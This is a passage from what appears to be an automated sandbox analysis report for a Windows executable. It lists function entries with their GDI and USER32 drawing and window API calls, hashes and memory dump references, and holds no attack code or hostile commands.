          • Opcode Fuzzy Hash: 50f24961c2aea5426d1b514b2710b14a5caa40f3e338bd71aba2b11c915a822c
          • Instruction Fuzzy Hash: 56A16CB16083419FC324DF69C884A5BBBE5FBC8744F508A3DF59593290EB74E848CB56
          APIs
          • CopyRect.USER32(?,00000000), ref: 00433DF7
          • IsRectEmpty.USER32(?), ref: 00433E02
          • GetClientRect.USER32(00000000,?), ref: 00433E41
          • DPtoLP.GDI32(?,?,00000002), ref: 00433E53
          • LPtoDP.GDI32(?,?,00000002), ref: 00433E90
          • CreateRectRgnIndirect.GDI32(?), ref: 00433EA8
          • OffsetRect.USER32(?,?,?), ref: 00433ECD
          • LPtoDP.GDI32(?,?,00000002), ref: 00433EDF
            • Part of subcall function 00498A30: __EH_prolog.LIBCMT ref: 00498A35
            • Part of subcall function 00498A30: CreatePen.GDI32(?,?,?), ref: 00498A58
            • Part of subcall function 00498017: SelectObject.GDI32(0040B5D5,00000000), ref: 00498039
            • Part of subcall function 00498017: SelectObject.GDI32(0040B5D5,?), ref: 0049804F
            • Part of subcall function 00497FDB: GetStockObject.GDI32(?), ref: 00497FE4
            • Part of subcall function 00497FDB: SelectObject.GDI32(0040B5D5,00000000), ref: 00497FFE
            • Part of subcall function 00497FDB: SelectObject.GDI32(0040B5D5,00000000), ref: 00498009
            • Part of subcall function 0049814F: SetROP2.GDI32(?,?), ref: 00498168
            • Part of subcall function 0049814F: SetROP2.GDI32(?,?), ref: 00498176
          • Rectangle.GDI32(?,?,?,?,?), ref: 00433F53
            • Part of subcall function 00498444: SelectClipRgn.GDI32(?,00000000), ref: 00498466
            • Part of subcall function 00498444: SelectClipRgn.GDI32(?,?), ref: 0049847C
            • Part of subcall function 00498A1A: DeleteObject.GDI32(00000000), ref: 00498A29
            • Part of subcall function 0049878D: __EH_prolog.LIBCMT ref: 00498792
            • Part of subcall function 0049878D: ReleaseDC.USER32(?,00000000), ref: 004987B1
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ObjectSelect$Rect$ClipCreateH_prolog$ClientCopyDeleteEmptyIndirectOffsetRectangleReleaseStock
          • String ID: 0bCv
          • API String ID: 2841338838-4161728572
          • Opcode ID: 5bb7a1cfa2fd30cc48be47a5cbc612677e2b9efb4b9a33f29dd231f699a1608c
          • Instruction ID: ef0df91876d7e7dbd41dff549e6521f4b2e7e62c33f11b6ea4c6a5976b486b79
          • Opcode Fuzzy Hash: 5bb7a1cfa2fd30cc48be47a5cbc612677e2b9efb4b9a33f29dd231f699a1608c
          • Instruction Fuzzy Hash: 79617E711083409FC714DF69C885E6BBBE9EFC9718F008A1DF59683291DB78E908CB56
          APIs
          • __EH_prolog.LIBCMT ref: 00492B51
          • GetSystemMetrics.USER32(0000002A), ref: 00492C02
          • GlobalLock.KERNEL32(?), ref: 00492C8C
          • CreateDialogIndirectParamA.USER32(?,?,?,Function_00092994,00000000), ref: 00492CBE
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CreateDialogGlobalH_prologIndirectLockMetricsParamSystem
          • String ID: Helv$MS Sans Serif$MS Shell Dlg
          • API String ID: 2364537584-2894235370
          • Opcode ID: e91658bb632d465a6e1a25c78bd7128c682f790c68e5fbb1ee8467a9fdf939ed
          • Instruction ID: e2662bf7ee6c971b9be304c098b8737f12afb8dc2fe25f8b3c35c63be98bfd95
          • Opcode Fuzzy Hash: e91658bb632d465a6e1a25c78bd7128c682f790c68e5fbb1ee8467a9fdf939ed
          • Instruction Fuzzy Hash: 9861607190020AEFCF15EFA4D985AAEBFB1FF04314F20457FE501A62A1D7789A41CB99
          APIs
          • SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E30B
            • Part of subcall function 00496171: EnableWindow.USER32(?,00000000), ref: 0049617F
            • Part of subcall function 00495EED: GetDlgItem.USER32(?,?), ref: 00495EFB
          • SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E345
          • SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E35C
          • SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E3AD
          • SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E3E7
          • SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E414
          • SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E44A
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: MessageSend$EnableItemWindow
          • String ID: d!L$p!L$|!L
          • API String ID: 607626308-1381671666
          • Opcode ID: 22907d5f71a956538b882653bc380910890e48f703cd5205b9e81c86950ce24d
          • Instruction ID: 23f96c36c6037a880c7bd48a4e4a191f019c60551d9ce14089d9267f1ffe447f
          • Opcode Fuzzy Hash: 22907d5f71a956538b882653bc380910890e48f703cd5205b9e81c86950ce24d
          • Instruction Fuzzy Hash: 3631A135380B0067EE39A2368C97FAF26659BC5B04F11082EB3169F2C2DDA9A901C31C
          APIs
          • GetTextExtentPoint32A.GDI32(?,?,?,00000090), ref: 0044CCDF
          • GetTextExtentPoint32A.GDI32(?,?,?,00000090), ref: 0044CD04
          • GetWindowRect.USER32(?,?), ref: 0044CD8E
          • SetRect.USER32(00000080,?,?,?,?), ref: 0044CDC3
          • SetRect.USER32(00000070,?,?,?,?), ref: 0044CE08
          • SetRect.USER32(00000060,?,?,?,?), ref: 0044CE7B
          • GetSystemMetrics.USER32(00000001), ref: 0044CEA6
          • GetSystemMetrics.USER32(00000000), ref: 0044CEAC
          • OffsetRect.USER32(00000080,00000000,00000000), ref: 0044CEC4
          • OffsetRect.USER32(00000080,00000000,00000000), ref: 0044CED2
          • OffsetRect.USER32(00000080,00000000,00000000), ref: 0044CEE4
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Rect$Offset$ExtentMetricsPoint32SystemText$Window
          • String ID:
          • API String ID: 1551820068-0
          • Opcode ID: 7d08aad0208390665bfdf3b2d7a6130849817184f4df4deb85ad1dc9766aa446
          • Instruction ID: 0e1ceabf3aa2542e42e56ef2fa1f2f3fddbcc6126472d8de0f9adbfec8e8562c
          • Opcode Fuzzy Hash: 7d08aad0208390665bfdf3b2d7a6130849817184f4df4deb85ad1dc9766aa446
          • Instruction Fuzzy Hash: 69913571200B059FE318CF29C985E6AF7EAFB88700F148A2DA95AC7754EB74FC058B54
          APIs
          • GetClientRect.USER32(?,?), ref: 0043F22E
          • FillRect.USER32(?,?,00000000), ref: 0043F28E
          • FillRect.USER32(?,?,00000000), ref: 0043F2FE
            • Part of subcall function 00498A80: __EH_prolog.LIBCMT ref: 00498A85
            • Part of subcall function 00498A80: CreateSolidBrush.GDI32(?), ref: 00498AA2
          • FillRect.USER32(?,?,00000000), ref: 0043F375
          • CreateCompatibleDC.GDI32(?), ref: 0043F39D
          • SelectObject.GDI32(00000000,?), ref: 0043F3B3
          • SetStretchBltMode.GDI32(?,00000000), ref: 0043F3E5
          • StretchBlt.GDI32(?,?,?,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0043F418
          • BitBlt.GDI32(?,00000000,?,?,?,00000000,00000000,00000000,00CC0020), ref: 0043F443
          • SelectObject.GDI32(00000000,?), ref: 0043F44F
          • DeleteDC.GDI32(00000000), ref: 0043F45C
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Rect$Fill$CreateObjectSelectStretch$BrushClientCompatibleDeleteH_prologModeSolid
          • String ID:
          • API String ID: 1645634290-0
          • Opcode ID: 0c037a304fa2b833020707b2e0d6aca9292d2861c8dee61a0766d9fcd5fbf677
          • Instruction ID: d21dd1da96717ad3d88db9a811aa52dbd6cce4e72037934075d11b26faa32ebe
          • Opcode Fuzzy Hash: 0c037a304fa2b833020707b2e0d6aca9292d2861c8dee61a0766d9fcd5fbf677
          • Instruction Fuzzy Hash: C8612F75204741EFD724DF65C994F6BB7E8EB99704F00892EF95A83250DB38E809CB29
          APIs
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Mode$ColorCurrentObject$FillPolyStretchText
          • String ID:
          • API String ID: 544274770-0
          • Opcode ID: fb2e0e159abf94d4b17cc1c56abd54d15f8a65e16c4cc91d73df34ebffdbd66e
          • Instruction ID: d036f0dd631d2c47a2b6fbec2a9a6710e364d5eaaacdc952b5faba5e3386c866
          • Opcode Fuzzy Hash: fb2e0e159abf94d4b17cc1c56abd54d15f8a65e16c4cc91d73df34ebffdbd66e
          • Instruction Fuzzy Hash: 57516C71210E01DBC764DB64C889BEBB3A5EFC5711F144A1EE2AF87260DB34B885CB59
          APIs
            • Part of subcall function 00498883: __EH_prolog.LIBCMT ref: 00498888
            • Part of subcall function 00498883: BeginPaint.USER32(?,?,?,?,0040D869), ref: 004988B1
          • GetClientRect.USER32(?,?), ref: 0043C63D
          • CreateCompatibleBitmap.GDI32 ref: 0043C672
          • CreateCompatibleDC.GDI32(?), ref: 0043C6A2
            • Part of subcall function 00497FC4: SelectObject.GDI32(?,?), ref: 00497FCC
          • PatBlt.GDI32(?,00000000,00000000,?,?,00000042), ref: 0043C6DA
          • GetObjectA.GDI32(00000000,00000018,?), ref: 0043C6F5
          • CreateCompatibleDC.GDI32(?), ref: 0043C700
          • SelectObject.GDI32(00000000,00000000), ref: 0043C710
          • BitBlt.GDI32(?,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 0043C733
          • SelectObject.GDI32(00000000,?), ref: 0043C73F
          • DeleteDC.GDI32(00000000), ref: 0043C742
          • BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 0043C76B
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Object$CompatibleCreateSelect$BeginBitmapClientDeleteH_prologPaintRect
          • String ID:
          • API String ID: 1593221388-0
          • Opcode ID: 3d7b520441cf48d5d9cd6b35ef350e761c857a829f05736c4c80cb306786784e
          • Instruction ID: 01fa0307d2cd647b49412a4e70aa34649f522d0086c8ebb69fb566ed2016a5dd
          • Opcode Fuzzy Hash: 3d7b520441cf48d5d9cd6b35ef350e761c857a829f05736c4c80cb306786784e
          • Instruction Fuzzy Hash: 6C515071208381AFD710DF68DC85F6BBBE8EBCA704F04492DF69593291D778A804CB66
          APIs
          • CreateSolidBrush.GDI32(00FFFFFF), ref: 004270EF
          • GetWindowRect.USER32(?), ref: 00427119
          • GetStockObject.GDI32(00000005), ref: 00427147
          • LoadCursorA.USER32(00000000,00007F00), ref: 00427155
          • GetWindowRect.USER32(?,?), ref: 004271C3
          • GetWindowRect.USER32(?,?), ref: 004271D4
          • GetWindowRect.USER32(?,?), ref: 004271E9
          • GetSystemMetrics.USER32(00000001), ref: 004271FF
          • GetWindowRect.USER32(?,?), ref: 0042728A
          • OffsetRect.USER32(?,00000000,00000001), ref: 004272A4
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Rect$Window$BrushCreateCursorLoadMetricsObjectOffsetSolidStockSystem
          • String ID:
          • API String ID: 3805611468-0
          • Opcode ID: f0c2168e2a7daa2120b0d833e2290657dba886ff2cb028b8175eb551433970f5
          • Instruction ID: 879f409cbacc16841326f38a8c9481ce60d8ca41f9652bfb376aa035f8e1b749
          • Opcode Fuzzy Hash: f0c2168e2a7daa2120b0d833e2290657dba886ff2cb028b8175eb551433970f5
          • Instruction Fuzzy Hash: 8DA1AE703047019FDB24DF65C886F6BBBE5AB84708F10492EF16687381EB79E805CB59
          APIs
            • Part of subcall function 00498883: __EH_prolog.LIBCMT ref: 00498888
            • Part of subcall function 00498883: BeginPaint.USER32(?,?,?,?,0040D869), ref: 004988B1
            • Part of subcall function 00498434: GetClipBox.GDI32(?,?), ref: 0049843B
          • GetClientRect.USER32(?,?), ref: 00414ACE
          • IntersectRect.USER32(?,?,?), ref: 00414AE6
          • IsRectEmpty.USER32(?), ref: 00414B16
          • GetObjectA.GDI32(?,00000018,?), ref: 00414B4D
          • CreateCompatibleDC.GDI32(?), ref: 00414B73
          • IntersectRect.USER32(?,?,?), ref: 00414BC8
          • IsRectEmpty.USER32(?), ref: 00414BD3
          • BitBlt.GDI32(?,?,?,?,?,?,?,?,00CC0020), ref: 00414C11
          • DPtoLP.GDI32(?,?,00000002), ref: 00414C96
          • IsWindow.USER32(?), ref: 00414CF8
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Rect$EmptyIntersect$BeginClientClipCompatibleCreateH_prologObjectPaintWindow
          • String ID:
          • API String ID: 29348440-0
          • Opcode ID: 63ac4c91495d047fa7412d165fc377461f40cffd50d02213de79778e1a28c163
          • Instruction ID: 8dcd09b172af1cebf112ec9fb672154470c71b72ce03376be662d3ae3eed05fc
          • Opcode Fuzzy Hash: 63ac4c91495d047fa7412d165fc377461f40cffd50d02213de79778e1a28c163
          • Instruction Fuzzy Hash: B3813CB55083419FC724DF65C884AABBBE9FFC9704F008E2EF59A93250D734A909CB56
          APIs
          • GetWindowRect.USER32(?,?), ref: 0042586D
          • GetWindowRect.USER32(?,?), ref: 0042587C
          • IntersectRect.USER32(?,?,?), ref: 004258D5
          • EqualRect.USER32(?,?), ref: 00425905
          • GetWindowRect.USER32(?,?), ref: 00425923
          • OffsetRect.USER32(?,?,?), ref: 0042599A
          • OffsetRect.USER32(?,?,00000000), ref: 004259B4
          • OffsetRect.USER32(?,?,00000000), ref: 004259CC
          • OffsetRect.USER32(?,00000000,?), ref: 004259E6
          • OffsetRect.USER32(?,00000000,?), ref: 004259FE
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Rect$Offset$Window$EqualIntersect
          • String ID:
          • API String ID: 2638238157-0
          • Opcode ID: 0bcce850b2ffb366117009abba366b109905f949bd1f5ede7b6d0b1976004081
          • Instruction ID: a3922dd034a2e04cefd8763c45396855cb1fa84c879fc4319f61186f85fa70b4
          • Opcode Fuzzy Hash: 0bcce850b2ffb366117009abba366b109905f949bd1f5ede7b6d0b1976004081
          • Instruction Fuzzy Hash: 04512AB56083029FC708CF29D98096BBBE9AFC8754F404A2EF985D3354DA74ED49CB52
          APIs
          • GetSystemMetrics.USER32(0000002E), ref: 0043D0A1
          • GetSystemMetrics.USER32(0000002D), ref: 0043D0A7
          • GetSystemMetrics.USER32(0000000A), ref: 0043D0AD
          • GetSystemMetrics.USER32(0000000A), ref: 0043D0B8
          • GetSystemMetrics.USER32(00000009), ref: 0043D0C6
          • GetSystemMetrics.USER32(00000009), ref: 0043D0D2
          • GetWindowRect.USER32(?,?), ref: 0043D0F7
          • GetParent.USER32(?), ref: 0043D0FD
          • GetWindowRect.USER32(?,00000000), ref: 0043D122
          • SetRect.USER32(?,?,00000000,?,?), ref: 0043D154
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
